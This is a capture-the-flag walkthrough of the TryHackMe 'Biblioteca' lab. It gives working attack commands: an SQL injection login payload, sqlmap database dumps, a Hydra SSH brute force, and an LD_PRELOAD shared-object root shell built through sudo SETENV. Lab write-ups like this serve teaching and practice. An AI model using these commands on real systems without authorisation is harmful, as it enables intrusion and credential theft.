Shhh. Be very very quiet, no shouting inside the biblioteca.
The goal is usual (hit ’em with the classics): get the user and root flag.
THM Room: https://tryhackme.com/room/biblioteca
Reconnaissance
Let us start with nmap scan:
nmap -sC -sV -v 10.10.215.100

We see two open ports: 22 (SSH) and 8000 (HTTP), with a Python application.
Let us take a closer look at the site.

If we open Developer Tools and try to log in, we will see a request to /login with two fields: username and password:

Nothing fancy —we can try brute-forcing credentials with Hydra. The only issue is that we don’t have credentials to work with.
What we can try is a simple SQL injection attack: set the username to ' OR 1 /* -- and see what happens:

The server’s response indicates that something went wrong. Let us exploit this further with sqlmap and run gobuster in parallel, in the hope of finding something interesting:
sqlmap \
--url http://10.10.215.100:8000/login \
--data 'username=admin&password=admin' \
--batch
gobuster dir \
--url http://10.10.215.100:8000/ \
-w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt \
-t 32
sqlmap quickly finds the vulnerability:

gobuster is less lucky:

Exploitation
Now that we have found a potential attack vector, let us exploit it.
First, get the list of databases:
sqlmap \
--url http://10.10.215.100:8000/login \
--data 'username=admin&password=admin' \
--batch --dbs

There are three databases. The system ones (information_schema and performance_schema) are not interesting; we only need website.
Let us dig deeper:
sqlmap \
--url http://10.10.215.100:8000/login \
--data 'username=admin&password=admin' \
--batch \
-D website \
--tables

There is only one table, users. Let us explore further:
sqlmap \
--url http://10.10.215.100:8000/login \
--data 'username=admin&password=admin' \
--batch \
-D website \
-T users
--dump

We have the username and the password. If we log into the site, we will see something non-functional and non-exploitable, so let us move along and try SSH.
And we are in:

However, the user is not privileged enough, does not have access to any interesting files, and there are no SUID/SGID executables to exploit. Linpeas suggests several exploits (such as CVE-2021-3156 and CVE-2021-4034), but they do not work. We have to admit we need another user.

Let us take a closer look at the users we have:

Our next victim is definitely hazel.
Unfortunately, there are no clues in the system about Hazel’s password (or at least I couldn’t find any). This means we need to resort to brute forcing.
hydra \
-e sr \
-l hazel \
-P /usr/share/wordlists/rockyou.txt \
ssh://10.10.215.100

Hydra quickly finds the password, and we can switch to hazel:

Privilege Escalation
We have the first flag and can use sudo to run /usr/bin/python3 /home/hazel/hasher.py and set arbitrary environment variables.
SETENV and NOSETENV
These tags override the value of the setenv flag on a per-command basis. Note that if SETENV has been set for a command, the user may disable the env_reset flag from the command line via the -E option. Additionally, environment variables set on the command line are not subject to the restrictions imposed by env_check, env_delete, or env_keep. As such, only trusted users should be allowed to set variables in this manner.
/home/hazel/hasher.py is the script that does not need sudo:
import hashlib
def hashing(passw):
md5 = hashlib.md5(passw.encode())
print("Your MD5 hash is: ", end ="")
print(md5.hexdigest())
sha256 = hashlib.sha256(passw.encode())
print("Your SHA256 hash is: ", end ="")
print(sha256.hexdigest())
sha1 = hashlib.sha1(passw.encode())
print("Your SHA1 hash is: ", end ="")
print(sha1.hexdigest())
def main():
passw = input("Enter a password to hash: ")
hashing(passw)
if __name__ == "__main__":
main()
We cannot modify or replace the script, as Hazel’s home directory is owned by root and hazel has no write access.
However, because of SETENV, we can use LD_PRELOAD to drop to a root shell:
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
gcc -D_GNU_SOURCE -fPIC -shared -nostartfiles shell.c -o shell.so sudo LD_PRELOAD=./shell.so /usr/bin/python3 /home/hazel/hasher.py

And we’ve got the root flag!
